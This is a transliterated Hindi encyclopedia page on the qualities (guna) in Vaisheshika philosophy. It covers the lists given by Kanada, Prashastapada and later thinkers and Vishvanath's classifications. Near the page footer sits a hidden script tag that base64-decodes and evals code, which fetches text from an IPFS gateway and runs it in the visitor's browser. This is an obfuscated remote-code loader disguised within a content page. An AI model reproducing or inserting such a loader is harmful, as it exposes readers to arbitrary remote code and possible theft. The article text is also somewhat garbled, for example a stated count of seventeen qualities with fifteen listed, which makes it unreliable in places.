गुण -वैशेषिक दर्शन

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
  • kanad ke anusar samavay sambandh se dravy mean ashray lene ka jisaka svabhav ho, jo svayan gun ka ashray n ho, sanyog aur vibhag ka karan n ho aur any kisi ki apeksha n rakhata ho, vah gun namak padarth hai.[1]
  • prashastapad ne yah bataya ki gunatv ka samavayi hona, dravy mean ashrit hona, gunarahit hona, kriyarahit hona sabhi gunoan ka sadharmy hai.[2]
  • keshavamishr ke mat mean jo samany jati se asamavayikaran banane vala ho, spandan rahit kriyavan n ho aur dravy par ashrit ho, vah gun kahalata hai.[3]
  • vishvanath ne dravyashrit nirgun aur nishkriy ho gun kaha hai.[4]
  • kanad ne nimnalikhit satrah gunoan ka ullekh kiya hai-
  1. roop
  2. ras
  3. gandh
  4. sparsh
  5. sankhya
  6. pariman
  7. sanyog
  8. vibhag
  9. paratv aur aparatv
  10. buddhi
  11. sukh
  12. du:kh
  13. ichchha
  14. dvesh
  15. prayatn
  • prashastapad ne vaisheshikasootr (1-1-6) mean ullikhit 'ch' pad ko adhar banakar nimnalikhit sat gunoan ko jo dakar gunoan ki sankhya 24 tak pahuancha di-
  1. gurutv
  2. dravatv
  3. sneh
  4. sanskar
  5. dharm aur adharm
  6. shabd
  • shankar mishr ke matanusar kanad ne in sat gunoan ka pariganan nahian kiya kyoanki ye to prasiddh haian hi.
  • kuchh vidvanoan ne
  1. laghutv
  2. mridutv
  3. kathinatv
  4. alasy

ukt ko jo dakar gunoan ki sankhya 28 karane ka prayatn kiya hai.

  • kee acharyoan ne paratv, aparatv aur prithakatv ko anavashyak manakar gunoan ki sankhya 21 bataee hai. kintu samanyataya yahi mana jata hai ki vaisheshik darshan mean gunoan ki sankhya 24 hai. navyanyay mean paratv, aparatv ko viprakrishtatv aur sannikrishtatv ya jyeshthatv aur kanishthatv mean antarnihit man liya gaya hai aur prithaktv ko anyonyabhav ka hi ek roop bataya gaya hai. at: navyanaiyayik 21 gun manate haian. vishvanath ne uparyukt chaubis gunoan ka vargikaran nimnalikhit roop se kiya hai-

ashrayadravyoan ki moortamoortaparak

  • keval moort dravyoan mean rahane vale jaise roop, ras adi.
  • keval amoort dravyoan mean rahane vale, jaise- buddhi, sukh adi.
  • moort aur amoort donoan prakar ke dravyoan mean rahane vale, jaise- sankhya, pariman adi.

ashray-sankhyaparak
in gunoan mean se kuchh ek-ek dravy mean rahate haian aur kuchh ekadhik dravyoan mean. sanyog, vibhag, sankhya, anekashrit gun haian aur any ekashrit.
samany-visheshaparak
vishvanath ne gunoan ka vargikaran samany aur vishesh roop mean bhi kiya hai.

  • unake matanusar samany gun haian- sankhya, pariman, prithaktv, sanyog, vibhag, paratv, aparatv, asaansiddhik dravatv, gurutv tatha veg-sanskar.
  • vishesh gun haian- buddhi, sukh, du:kh, ichchha, dvesh, prayatn, roop, ras, gandh, sparsh, sneh, saansiddhik dravatv, dharm, adharm, bhavana, sanskar tatha shabd.

indriyagrahyataparak
vishvanath ne yah bhi bataya hai ki indriyagrahyata ke adhar par bhi gunoan ka nimnalikhit roop se vargikaran kiya ja sakata hai-

  1. ekendriyagrahy- roop, ras, gandh, sparsh tatha shabd.
  2. dvindriyagrahy- (chakshu aur tvakh se) sankhya, pariman, prithaktv, sanyog, vibhag, paratv, aparatv, dravatv, sneh, veg-sanskar.
  3. atindiy- gurutv, buddhi, sukh, ichchha, dvesh, prayatn, dharm, adharm tatha bhavana-sanskar.
  • gunoan ka sankshipt vivaran annanbhatt dvara ullikhit kramanusar nimnalikhit hai-



tika tippani aur sandarbh

  1. dravyashrayyagunavanh sanyogavibhageshvakaranamanapeksh iti gunalakshanamh, vai.se. 1.1.16
  2. roopadinaan gunanaan sarveshaan gunatvabhisambandhoan dravyashritatvan nirgunatvan nishkriyatvamh, pr.pa.bha., pri. 69
  3. samanyavanh asamavayikaranamh aspandatma gun: s ch dravyashrit ev, t.bha. pri. 260
  4. tarkadipika, pri. 16

bahari k diyaan

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


varnamala kramanusar lekh khoj

a   a    i    ee    u    oo    e    ai    o   au    aan    k   kh    g    gh    n    ch    chh    j    jh    n    t    th    d   dh    n    t    th    d    dh    n    p    ph    b    bh    m    y    r    l    v    sh    sh    s    h    ksh    tr    jn    rri    rri    aau    shr   aah